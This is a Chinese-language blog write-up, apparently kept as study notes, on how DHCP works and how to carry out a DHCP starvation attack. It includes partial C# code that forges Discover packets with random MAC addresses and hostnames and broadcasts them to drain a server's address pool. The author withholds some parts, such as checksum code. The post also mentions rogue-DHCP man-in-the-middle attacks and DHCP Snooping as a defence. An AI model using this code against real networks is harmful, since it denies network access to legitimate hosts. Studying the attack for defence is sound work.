DHCP協定原理分析與饑餓攻擊的實作
-
- 有以下基礎的同學'食用'效果最佳
- 實驗過程用到的工具
- DHCP協定介紹
- DHCP互動過程
- DHCP封包格式
- DHCP饑餓攻擊
- DHCP攻擊思路
-
-
-
- 攻擊互動過程
- 攻擊封包生成過程
- 資料封裝過程
-
-
- 編碼實戰
- 攻擊效果展示
- 結論
有以下基礎的同學’食用’效果最佳
- 網絡基礎知識
-
開發基礎知識
本文章僅做學習記錄和交流,不提供任何成品
實驗過程用到的工具
- WinPcap 用于二層網絡發包
- SharpPcap C#調用WinPcap的開源nuget包
- Visual Studio 開發工具
- WireShark 抓包工具
- Linux伺服器 充當傀儡機(DHCP伺服器)
DHCP協定介紹
DHCP(動态主機配置協定)是一個區域網路的網絡協定。指的是由伺服器控制一段IP位址範圍,客戶機登入伺服器時就可以自動獲得伺服器配置設定的IP位址和子網路遮罩。
DHCP互動過程
![](https://img.laitimes.com/img/_0nNw4CM6IyYiwiM6ICdiwiIyVGduV2YfNWawNCM38FdsYkRGZkRG9lcvx2bjxiNx8VZ6l2cs0TP310drpmT6dmeNBDOsJGcohVYsR2MMBjVtJWd0ckW65UbM5WOHJWa5kHT20ESjBjUIF2X0hXZ0xCMx81dvRWYoNHLrdEZwZ1Rh5WNXp1bwNjW1ZUba9VZwlHdssmch1mclRXY39CXldWYtlWPzNXZj9mcw1ycz9WL49zZwpmL3IjMxUjMyQTM0IjNwEjMwIzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.jpg)
- DHCP用戶端向DHCP伺服器請求配置設定ip位址時會發送discover廣播封包
- DHCP伺服器收到discover請求封包後,響應攜帶空閑IP、租約時間、網關、DHCP伺服器IP等資訊的offer封包。根據discover封包内的Bootp flags辨別選擇廣播或單點傳播響應
- DHCP用戶端收到DHCP服務端offer封包後根據封包内攜帶的空閑IP發起request封包請求
-
DHCP服務端收到DHCP用戶端的request封包後,正常情況下會響應ack封包,将該空閑IP配置設定給DHCP用戶端
百度百科解析
DHCP封包格式
封包各字段描述篇幅過長,這裡不再贅述,詳見:
百度百科 DHCP封包格式介紹
DHCP饑餓攻擊
攻擊原理:攻擊者通過僞造MAC位址持續大量地向DHCP伺服器申請IP位址,直到耗盡DHCP伺服器位址池的IP位址,使DHCP伺服器無法再給正常的主機配置設定IP位址,使得正常主機不能通路網絡。
進階攻擊:攻擊者可以僞造DHCP伺服器配置設定ip位址給客戶機,實作中間人攻擊(可以通過DHCP Snooping防禦)
DHCP攻擊思路
攻擊互動過程
- 僞造MAC、主機名,建構發送DHCP_Discover攻擊封包
- 根據DHCP伺服器響應的DHCP_Offer封包取得預配置設定的IP位址(DHCP資料封包的yiaddr字段)和DHCP伺服器IP位址[Option: (54) DHCP Server Identifier)]
- 取DHCP_Offer封包的yiaddr字段的IP位址和DHCP伺服器IP位址,建構發送DHCP_Request攻擊封包
- DHCP伺服器響應DHCP_Ack,成功配置設定IP(非法占用IP)
攻擊封包生成過程
TCP/IP四層結構模型資料生成
- 生成應用層資料–>DHCP資料包(DATA)
- 生成傳輸層資料–>UDP資料包(PORT)
- 生成網絡層資料–>IP資料包(IP)
- 生成接口層資料–>實體層資料包(MAC)
資料封裝過程
編碼實戰
由于篇幅有限、代碼放出會造成不必要的危害。故不展示全部具體實作方法,隻摘取部分關鍵代碼。
實作過程中還有封包校驗碼計算等功能,這裡就不展示了
/// 建構DHCP_Discover資料封包
/// </summary>
/// <param name="xid">DHCP事務id</param>
/// <param name="V_address">請求配置設定ip的Mac位址(僞造)</param>
/// <param name="hostname">主機名</param>
/// <returns>DHCP_Discover資料封包位元組數組</returns>
private byte[] DHCP_Discover_Packet(byte[] xid, PhysicalAddress V_address, string hostname)
{
byte[] data = new byte[]{
0x01, 0x01, 0x06, 0x00,//用戶端發送給DHCP伺服器
0x30, 0x7b, 0x44, 0xb6,//事務ID。用戶端發起一次請求時選擇的随機數,用來辨別一次位址請求過程
0x00, 0x00, 0x80, 0x00,//secs & flags,flags 08 00 讓dhcp廣播回複
0x00, 0x00, 0x00, 0x00,//ciaddr
0x00, 0x00, 0x00, 0x00,//yiaddr
0x00, 0x00, 0x00, 0x00,//siaddr
0x00, 0x00, 0x00, 0x00,//giaddr
0x6a, 0xdd, 0x07, 0xcf, 0x50, 0x42,//chaddr的MAC
//為友善閱讀,省略部分過長封包
0x63, 0x82, 0x53, 0x63,//Magic cookie: DHCP
0x35, 0x01, 0x01,//Option: (53) DHCP Message Type (Discover)
0x3d, 0x07, 0x01,//Option: (61) Client identifier,Length: 7,Hardware type: Ethernet (0x01)
0x6a, 0xdd, 0x07, 0xcf, 0x50, 0x42,//Option: (61) Client identifier,MAC位址
0x0c,//Option: (12) Host Name
0x0f,//Option: (12) Host Name,下面主機名的長度,Length
0x44, 0x45, 0x53, 0x4b, 0x54, 0x4f, 0x50, 0x2d, 0x46, 0x43, 0x35, 0x41, 0x32, 0x39, 0x42,//Option: (12) Host Name,主機名
0x3c, 0x08, 0x4d, 0x53, 0x46, 0x54, 0x20, 0x35, 0x2e, 0x30,//Option: (60) Vendor class identifier
0x37, 0x0e, 0x01, 0x03, 0x06, 0x0f, 0x1f, 0x21, 0x2b, 0x2c, 0x2e, 0x2f, 0x77, 0x79, 0xf9, 0xfc,//Option: (55) Parameter Request List
0xff,//Option: (255) End
};
寫入事務ID
寫入MAC
寫入hostname
return data;
}
/// <summary>
/// 生成DHCP二層通訊封包
/// </summary>
/// <param name="address">實體網卡位址</param>
/// <param name="baseData">DHCP封包資料</param>
/// <returns>傳回DHCP二層通訊封包</returns>
public EthernetPacket Create_Packet(PhysicalAddress address, byte[] baseData, ushort IP_Identification)
{
//建構UDP封包,DHCP使用UDP協定67和68端口
UdpPacket udpData = UDP_Packet(68, 67, baseData);
//建構IP封包。發送廣播請求IP位址
IPPacket ipData = IP_Packet(IPAddress.Parse("0.0.0.0"), IPAddress.Parse("255.255.255.255"), IP_Identification, udpData);
//建構二層封包,二層廣播封包目的MAC位址為6個FF
EthernetPacket ethData = Eth_Packet(address, new PhysicalAddress(new byte[] { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }), ipData);
return ethData;
}
/// <summary>
/// 發送攻擊資料報
/// </summary>
private void Send_Attack_Packet()
{
ConstructingPackets constructingPackets = new ConstructingPackets();
byte[] xid = Get_Random_Xid();//随機事務id
PhysicalAddress v_mac = new PhysicalAddress(Get_Random_MAC());//虛拟mac位址
string hostname = Get_Random_Hostname();//虛拟主機名
EthernetPacket data = constructingPackets.Create_DHCP_Discover(device.MacAddress, xid, v_mac, hostname, IP_Identification);//建構資料包
device.SendPacket(data.Bytes);//發包
Console.WriteLine("發包成功 DHCP_Discover --> xid = {0} , mac = {1} , hostname = {2} ", r_xid, v_mac, hostname);
Console.WriteLine();
}
攻擊效果展示
通過程式批量發送10個請求discover和request封包,成功占用10個ip位址,圖中取第一個封包做效果展示
檢視DHCP伺服器的ip配置設定資訊,可以看到位址池的ip已經被占用。
結論
實驗過程中攻擊家用路由器、linux搭建的DHCP伺服器均有效。由于DHCP伺服器的IP位址池被非法攻擊占滿後,新增的裝置發送dhcp_discover請求,DHCP伺服器不再響應任何封包。
文中如果有錯誤歡迎各位大佬指正